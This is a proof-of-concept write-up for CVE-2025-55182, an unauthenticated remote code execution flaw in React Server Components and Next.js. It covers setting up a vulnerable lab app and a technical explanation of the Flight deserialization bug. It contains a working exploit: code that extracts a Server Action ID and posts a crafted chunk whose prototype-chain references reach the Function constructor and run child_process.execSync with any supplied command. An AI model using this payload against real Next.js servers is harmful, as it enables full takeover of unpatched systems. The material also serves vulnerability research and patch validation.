
Proof-of-concept for CVE-2025-55182 (React2Shell): unauthenticated RCE in React Server Components / Next.js via Flight protocol deserialization.
CVE-2025-55182 is one of the most impactful Web framework vulnerabilities of 2025. React Server Components (RSC) are now the mainstream architecture for modern Next.js applications, and a large number of standard projects created with create-next-app are within the affected scope, requiring no custom code to be exploited.
| Item | Content |
|---|---|
| CVE ID | CVE-2025-55182 |
| Alias | React2Shell |
| Vulnerability Type | Unauthenticated Remote Code Execution (Unauthenticated RCE); CWE-502 Deserialization of Untrusted Data [3] |
| CVSS Score | 10.0 (Critical) (CVSS 3.1, Facebook/CNA [2]) |
| Affected Packages | react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack |
| Affected Versions | React 19.0.0~19.2.0 / Next.js 14.3.0-canary.77 and above, 15.x, 16.x |
| Attack Complexity | Very Low (Single HTTP POST Request) |
| Authentication Required | No |
Create a Next application using the vulnerable version (16.0.6):
pnpm create [email protected] next-app --yes
In next-app/app/, add actions.ts and flag it as a Server Action:
"use server";
export async function testAction(formData: FormData) {
console.log("Action called with:", formData);
}
On the home page (e.g., app/page.tsx), add a form with action pointing to the testAction above, and include at least one field (e.g., a hidden input).
Next.js will generate a hidden input
name="$ACTION_ID_<40-character hex>"for that form in the HTML; the POC extracts this ID from the home page HTML using a regex.
The project includes next-app/Dockerfile and docker-compose.yml to build and run the Next application; the Dockerfile can be written following the official example [8].
Run the following in the project root:
docker compose up --build -d
The started Next application will then be accessible at http://localhost:3000.
After the POC is complete, completely remove the Docker environment:
docker compose down -v
When running the POC, the script fetches the home page and extracts the ID using the regex \$ACTION_ID_([a-f0-9]{40})/. Example:
const ACTION_ID_REGEX = /\$ACTION_ID_([a-f0-9]{40})/
async function extractActionIdFromPage(baseUrl: string) {
const response = await fetch(baseUrl);
const html = await response.text();
const match = html.match(ACTION_ID_REGEX);
return match ? match[1] : "";
}
After installing dependencies in the project root, run:
pnpm install
pnpm poc [BASE_URL] [EXECUTABLE]
Key code snippet below:
function escapeExecutable(executable: string) {
return executable.replace(/\\/g, "\\\\").replace(/'/g, "\\'");
}
const escapedExecutable = escapeExecutable(executable);
const craftedChunk = {
then: "$1:__proto__:then",
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `process.mainModule.require('child_process').execSync('${escapedExecutable}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
const controller = new AbortController();
const timeoutId = setTimeout(() => controller.abort(), 3000);
try {
const response = await fetch(baseUrl, {
method: "POST",
headers: { "Next-Action": actionId },
body: formData,
signal: controller.signal,
});
clearTimeout(timeoutId);
const text = await response.text();
console.log(`Status Code: ${response.status}`);
console.log(`Response: ${text.slice(0, 500)}`);
} catch (e) {
// handle timeout or error
}
Example: write a file on the target host:
pnpm poc http://localhost:3000 "echo 'RCE_SUCCESS' > /tmp/rce_output"
docker compose exec to enter the container and inspect, or use Docker Desktop.The vulnerability resides in React's Flight Protocol Deserialization Mechanism (RSC Flight Deserializer). This mechanism is responsible for passing React component state between server and client, but the processing flow suffers from a severe trust boundary issue.
React Flight Protocol is the wire format designed by React for Server Components and Server Actions: it serializes component trees, function parameters, etc., into a stream of chunks represented as JSON, and uses
$number,$number:keyto create references between chunks, allowing the server to reconstruct full JavaScript values.
Attacker sends malicious HTTP POST
↓
[Stage 1] Create a self-referential loop object
↓
[Stage 2] Trick the JavaScript engine into calling an attacker-controlled function
↓
[Stage 3] Inject malicious data to trigger the Flight initialization flow
↓
[Stage 4] Call the Function constructor via Blob Handler
↓
Arbitrary JavaScript executes on the server (RCE)
React's Server Functions (in Next.js, Server Actions) serialize data sent from the frontend to the backend into "chunks" using the React Flight Protocol, then send them as form data.
Advantages of this design include:
Chunks can reference each other; for example:
["$1"] (references chunk 1){"object":"fruit","name":"$2:fruitName"} (references the fruitName of chunk 2){"fruitName":"cherry"}After server interpretation, the result is: { object: 'fruit', name: 'cherry' }. In other words, the protocol allows pointing to properties of other chunks via $number:key and then combining them into the final JavaScript object.
In the pre-patched implementation, when parsing these references, there was no strict check that "the key actually exists on the object itself". Consequently, attackers could read properties on the object's prototype via references.
For example, the following payload can be constructed:
["$1:__proto__:constructor:constructor"]{"x":1}When the server resolves "chunk 1's __proto__ → constructor → constructor", it obtains the Function constructor ([Function: Function]), i.e., the built-in constructor that creates functions from strings. In other words: through an improper reference chain, an attacker can obtain Function on the server side, and thereby execute strings as code.
When Next.js receives the form, it uses decodeReplyFromBusboy to restore the chunks into a value, and then awaits that value.